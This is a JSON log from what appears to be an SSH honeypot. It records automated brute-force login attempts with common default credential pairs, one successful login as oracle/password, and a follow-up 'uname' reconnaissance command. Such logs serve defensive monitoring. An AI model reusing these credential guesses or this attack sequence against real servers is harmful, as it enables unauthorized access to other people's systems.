{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:46.369856Z","src_ip":"193.151.144.93","session":"f599a3b7a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":35858,"dst_ip":"10.17.0.5","dst_port":22,"session":"911e6e010126","protocol":"ssh","message":"New connection: 193.151.144.93:35858 (10.17.0.5:22) [session: 911e6e010126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:49.847803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:49.854617Z","src_ip":"193.151.144.93","session":"911e6e010126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:50.022631Z","src_ip":"193.151.144.93","session":"911e6e010126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:51.584373Z","src_ip":"193.151.144.93","session":"911e6e010126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:53.183656Z","src_ip":"193.151.144.93","session":"911e6e010126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":33248,"dst_ip":"10.17.0.5","dst_port":22,"session":"166f7ab84cdd","protocol":"ssh","message":"New connection: 193.151.144.93:33248 (10.17.0.5:22) [session: 166f7ab84cdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:55.306858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:55.320789Z","src_ip":"193.151.144.93","session":"166f7ab84cdd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:55.484107Z","src_ip":"193.151.144.93","session":"166f7ab84cdd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"123456","message":"login attempt [guest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:56.576301Z","src_ip":"193.151.144.93","session":"166f7ab84cdd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:05:58.183614Z","src_ip":"193.151.144.93","session":"166f7ab84cdd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56096,"dst_ip":"10.17.0.5","dst_port":22,"session":"29d1ab5ff475","protocol":"ssh","message":"New connection: 193.151.144.93:56096 (10.17.0.5:22) [session: 29d1ab5ff475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:00.990612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:01.330593Z","src_ip":"193.151.144.93","session":"29d1ab5ff475","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:01.337121Z","src_ip":"193.151.144.93","session":"29d1ab5ff475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samba","password":"samba","message":"login attempt [samba/samba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:02.028904Z","src_ip":"193.151.144.93","session":"29d1ab5ff475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:03.207365Z","src_ip":"193.151.144.93","session":"29d1ab5ff475","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":56110,"dst_ip":"10.17.0.5","dst_port":22,"session":"af1c3097f567","protocol":"ssh","message":"New connection: 193.151.144.93:56110 (10.17.0.5:22) [session: af1c3097f567]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:06.484694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:06.489506Z","src_ip":"193.151.144.93","session":"af1c3097f567","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:06.663180Z","src_ip":"193.151.144.93","session":"af1c3097f567","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raaj","password":"raaj123","message":"login attempt [raaj/raaj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:07.175386Z","src_ip":"193.151.144.93","session":"af1c3097f567","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:09.222811Z","src_ip":"193.151.144.93","session":"af1c3097f567","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44488,"dst_ip":"10.17.0.5","dst_port":22,"session":"3685916abf28","protocol":"ssh","message":"New connection: 193.151.144.93:44488 (10.17.0.5:22) [session: 3685916abf28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:11.949450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:11.955071Z","src_ip":"193.151.144.93","session":"3685916abf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"54.7","message":"Connection lost after 54.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:12.027344Z","src_ip":"193.151.144.93","session":"053d3267f1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:12.126509Z","src_ip":"193.151.144.93","session":"3685916abf28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123456","message":"login attempt [es/es123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:12.651866Z","src_ip":"193.151.144.93","session":"3685916abf28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:15.616718Z","src_ip":"193.151.144.93","session":"3685916abf28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":56124,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1adfdab1db3","protocol":"ssh","message":"New connection: 62.133.63.178:56124 (10.17.0.5:22) [session: f1adfdab1db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:16.249674Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:16.254941Z","src_ip":"62.133.63.178","session":"f1adfdab1db3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:16.375935Z","src_ip":"62.133.63.178","session":"f1adfdab1db3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azizbek","message":"login attempt [root/azizbek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:16.737296Z","src_ip":"62.133.63.178","session":"f1adfdab1db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":44504,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7aed40d1480","protocol":"ssh","message":"New connection: 193.151.144.93:44504 (10.17.0.5:22) [session: c7aed40d1480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:17.369854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:17.374542Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:17.542833Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:17.863606Z","src_ip":"62.133.63.178","session":"f1adfdab1db3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"password","message":"login attempt [oracle/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.079135Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.468384Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.471540Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":65390,"dst_ip":"159.203.135.109","dst_port":22,"session":"1978d85ee563","protocol":"ssh","message":"New connection: 38.93.206.2:65390 (159.203.135.109:22) [session: 1978d85ee563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.564478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.569233Z","src_ip":"38.93.206.2","session":"1978d85ee563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.618918Z","src_ip":"38.93.206.2","session":"1978d85ee563","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.642795Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.648355Z","src_ip":"193.151.144.93","session":"c7aed40d1480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxs","message":"login attempt [root/1qazxs] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:06:18.771940Z","src_ip":"38.93.206.2","session":"1978d85ee563","protocol":"ssh"}
